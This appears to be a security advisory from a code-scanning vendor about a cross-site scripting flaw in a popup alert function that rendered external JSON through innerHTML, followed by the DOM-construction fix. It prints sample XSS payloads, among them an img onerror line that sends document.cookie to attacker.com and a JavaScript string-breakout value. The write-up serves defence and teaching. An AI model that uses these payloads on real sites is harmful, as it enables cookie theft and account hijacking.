Affected Versions
| Affected | not applicable (first-party code) |
| Fixed in | not applicable (first-party code) |
| Ecosystem | N/A |
| CVE / GHSA | not assigned |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
The Vulnerability Explained
A client-side alert system relied on a Glitch.me-hosted JSON endpoint to deliver notification content. The postAlert() function received this data and rendered it using innerHTML with direct string templating—no validation, no encoding, no separation between structure and content.
The vulnerable pattern:
popup.innerHTML += `<p class="popupTitle">${alert.title}<span class="popupTime">${new Intl.DateTimeFormat(...).format(new Date(alert.timeStamp))}</span></p><p class="popupBody">${alert.text}</p><button onclick="closePopup('${alert.name}');">Close</button><button onclick="markAsRead('${alert.name}');closePopup('${alert.name}');">Mark As Read</button>`;
Three separate injection points existed in this single line: alert.title, alert.text, and alert.name all flowed directly into HTML and JavaScript contexts without escaping. A compromised Glitch.me endpoint could return:
{
"title": "<img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>",
"text": "Benign-looking content",
"name": "');alert(document.domain)//"
}
The alert.name parameter proved particularly dangerous—it appeared inside single-quoted JavaScript strings in four separate onclick handlers. A value like '); maliciousCode(); // would break out of the intended function call and execute attacker-controlled code.
Because this executed during popup rendering, any user viewing alerts would trigger the payload immediately. The external dependency on Glitch.me meant the application trusted a third-party domain with full JavaScript execution capability in the application's origin.
The Fix
The remediation abandons innerHTML entirely, replacing string templating with programmatic DOM construction that treats all external data as literal text:
const title = document.createElement("p");
title.className = "popupTitle";
title.append(document.createTextNode(alert.title));
const time = document.createElement("span");
time.className = "popupTime";
time.textContent = new Intl.DateTimeFormat('en-us', {year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric'}).format(new Date(alert.timeStamp));
title.appendChild(time);
const body = document.createElement("p");
body.className = "popupBody";
body.textContent = alert.text;
const closeBtn = document.createElement("button");
closeBtn.textContent = "Close";
closeBtn.addEventListener("click", () => closePopup(alert.name));
const markBtn = document.createElement("button");
markBtn.textContent = "Mark As Read";
markBtn.addEventListener("click", () => { markAsRead(alert.name); closePopup(alert.name); });
popup.append(title, body, closeBtn, markBtn);
This change addresses four distinct problems simultaneously:
-
Content injection eliminated:
document.createTextNode(alert.title)andtextContentassignments ensurealert.titleandalert.textrender as literal text regardless of HTML metacharacters. -
Event handler injection eliminated:
addEventListener()attaches handlers programmatically. Thealert.namevalue never enters a JavaScript parsing context as a string—it passes directly as a function argument. -
Structure integrity guaranteed: By creating elements individually and appending them, the DOM structure cannot be corrupted by malformed input. There's no template to break.
-
Timing attack resistance: The
onclickattributes in the original code evaluated in the global scope with full access towindow. The closure-based handlers in the fix limit scope and execute strictly when attached.
The alert.name parameter still appears in the code, but exclusively as a property assignment (popup.id = alert.name) and function argument—not as executable script. The ID attribute injection remains a theoretical concern if used elsewhere, but the critical JavaScript execution vector is closed.
Key Takeaways
-
innerHTMLwith template literals is a dangerous default: When external data meetsinnerHTML +=...${variable}...``, every interpolated variable is an injection point. The convenience of string templating obscures the security boundary. -
Glitch.me endpoints are not trust boundaries: Any externally hosted JSON source that renders directly to the DOM must be treated as untrusted, even if nominally controlled by the same organization. Compromise of the external endpoint equals compromise of your origin.
-
Event handlers in templates compound the risk: The original code embedded
alert.namein four separateonclickattributes, creating JavaScript context escapes that bypassed HTML-focused sanitization. Moving toaddEventListener()removes the parsing step entirely. -
createTextNodeandtextContentare not interchangeable withinnerHTML: They are fundamentally different operations—one creates a text node, the other parses HTML. Choosing correctly prevents entire classes of injection. -
DOM construction patterns scale more safely: While verbose, the programmatic approach makes each data flow explicit and auditable. The structure of the code now matches the structure of the security policy.
How Orbis AppSec Detected This
Source: The alert.title, alert.text, and alert.name properties from JSON fetched from the external Glitch.me endpoint
Sink: The innerHTML property assignment in the postAlert() function, specifically popup.innerHTML +=...`` with embedded template expressions
Missing control: Absence of output encoding, content sanitization, or structural separation; no validation that alert.name was safe for JavaScript identifier context
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix: Replaced innerHTML string templating with document.createElement(), document.createTextNode(), textContent assignments, and addEventListener() for event binding
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The postAlert() vulnerability demonstrates how a single innerHTML line can collapse multiple security boundaries: external data becomes executable code, third-party trust becomes same-origin execution, and template convenience becomes injection opportunity. The fix—trading string templating for explicit DOM construction—restores those boundaries without sacrificing functionality. For applications consuming external JSON endpoints, this pattern of programmatic DOM building should be the default, not the exception.